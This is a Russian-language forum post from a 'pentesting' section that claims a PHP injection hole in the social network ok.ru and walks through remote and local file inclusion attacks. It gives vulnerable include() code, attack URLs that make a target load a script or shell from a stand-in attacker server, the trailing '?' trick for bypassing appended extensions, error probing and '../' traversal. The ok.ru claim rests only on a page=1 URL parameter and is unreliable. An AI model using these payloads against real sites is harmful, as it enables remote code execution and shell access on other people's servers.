Актуально Взлом ok.ru с помощью php инъекции

Тема в разделе "Пентестинг", создана пользователем Gan0za, 12 ноя 2017.

  1. Gan0za

    Gan0za

    Сообщения:
    11
    Баллы:
    1
    Не давно найдена уязвимость в ок.ру, и я расскажу вам как использовать эту уязвимость.

    Для начало нам требуется вывести эту уязвимость.

    Давайте разберем её.

    Для начало выбираем любое фото или надпись на стенке , и пишем любой комментарий, обновляем страницу, нажмаем кнопку обновить и ищем в ссылке page=1

    1 - это отоброжаемая страница.

    Вот мы и вывели её!

    Теперь мы видим что ок использует комманду page=1 для отображения запрашиваемой страницы.

    Код будет выглядить так:

    PHP:

    <?php

    $file =$_GET['page']; //Отображаемая страница

    include($file);

    ?>

    Это значит, что все, выводимое на странице, будет внедрено в пхп-код этой страницы. Следовательно атакующий может проделать что-то наподобии:

    PHP:

    http://www.ok.ru/index.php?page=http://www.атакующий_серв.com/вредоносный_скрипт.txt?

    Если посмотреть, что происходит после выполнения инклуда, нам представится следующий код, выполненный на целевом сервере:

    PHP:

    <?php

    $file ="http://www.атакующий_серв.com/вредоносный_скрипт.txt?"; //$_GET['page'];

    include($file); //$file - это внедренный злоумышленником скрипт

    ?>

    Мы видим, что злоумышленник произвел успешную атаку на целевой сервер.

    Подробнее:

    И так, почему же злоумышленник смог провести PHP-инъекцию?

    Все потому что функция include()позволяет запускать удаленные файлы.

    Почему в примере был указан скрипт с расширением *.txt, а не *.php?

    Ответ прост, если бы скрипт имел формат *.php, он бы запустился на сервере злоумышленника, а не на целевой системе.

    Так же был добавлен символ "?" в пути к внедряемому скрипту, чтобы убрать что-либо, находящееся внутри функцииinclude() на целевом сервере.

    Пример:

    PHP:

    <?php

    $file =$_GET['page'];

    include($file .".php");

    ?>

    Этот скрипт добавляет расширение *.phpк чему либо, вызываемомому коммандойinclude().

    Т.е.

    PHP:

    http://www.атакующий_серв.com/вредоносный_скрипт.txt

    Превращается в

    PHP:

    http://www.атакующий_серв.com/вредоносный_скрипт.txt.php

    С таким именем скрипт не запустится (на сервере злоумышленника не существует фала /вредоносный_скрипт.txt.php)

    По этому, мы и добавляем "?" в конец пути к вредоносному скрипту:

    PHP:

    http://www.атакующий_серв.com/вредоносный_скрипт.txt?.php

    Но он остается исполняемым.

    Проведение PHP-инъекций через уязвимость функции include().

    RFI - удаленный инклюд при PHP-инъекции.

    Возможность проведения RFI - довольно частая бага в двигах.

    Найти ее можно следущим образом:

    Допустим мы случайно набрели на страницу, в адресной строке броузера заканчивающуюся подобным образом:

    PHP:

    /index.php?page=main

    Подставляем вместо main любое бредовое значение, например upyachka

    PHP:

    /index.php?page=upyachka

    В ответ получим ошибку:

    PHP:

    Warning: main(upyachka.php): failed to open stream: No such file or directory in /home/user/www//page.php on line 3

    Warning: main(upyachka.php): failed to open stream: No such file or directory in /home/user/www/page.php on line 3

    Warning: main(): Failed opening 'upyachka.php' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php:/usr/local/share/pear') in /home/user/www/page.php on line 3

    Это показывает нам на то, что инклуд осуществим.

    Пробуем подставить вместо upyachkaсайт с путем до шелла (расширения файла шелла не должно указываться, или указывать его, как было описано выше)

    PHP:

    http://www.атакуемый_сервер.com/index.php?file=http://www.сайт_злоумышленника.com/shell

    Таким образом получен шелл. Теперь нужно сообщить админу сайта об уязвимости, что бы он исправил, и злые дядьки не воспользовались багой.

    LFI - локальный инклюд при PHP-инъекции.

    Представим, что мы набрели на тот же уязвимый сайт

    PHP:

    /index.php?file=main

    С кодом

    PHP:

    <?

    ..

    Include ("folder/$page.htm");



    ?>

    Это уже локальный инклюд. В этой ситуации возможен только листинг файлов:

    PHP:

    /index.php?page=../index.php

    В следующем случае код выглядит вот таким образом:

    PHP:

    <?

    ..

    Include ("$dir1/folder/page.php");



    ?>

    В этом случае можно прописать путь к шеллу следующим образом:

    Создаем папку folder на сайте, где хранится шелл, в эту папку закидываем шелл:

    PHP:

    http://www.сайт_злоумышленника.com/folder/shell.php

    Инъекция в таком случае будет выглядить так:

    PHP:

    index.php?dir1=http://www.сайт_злоумышленника.com/

    Если вы не знаете как написать вредоностный скрипт, то Гугл в помощь

Поделиться этой страницей

Top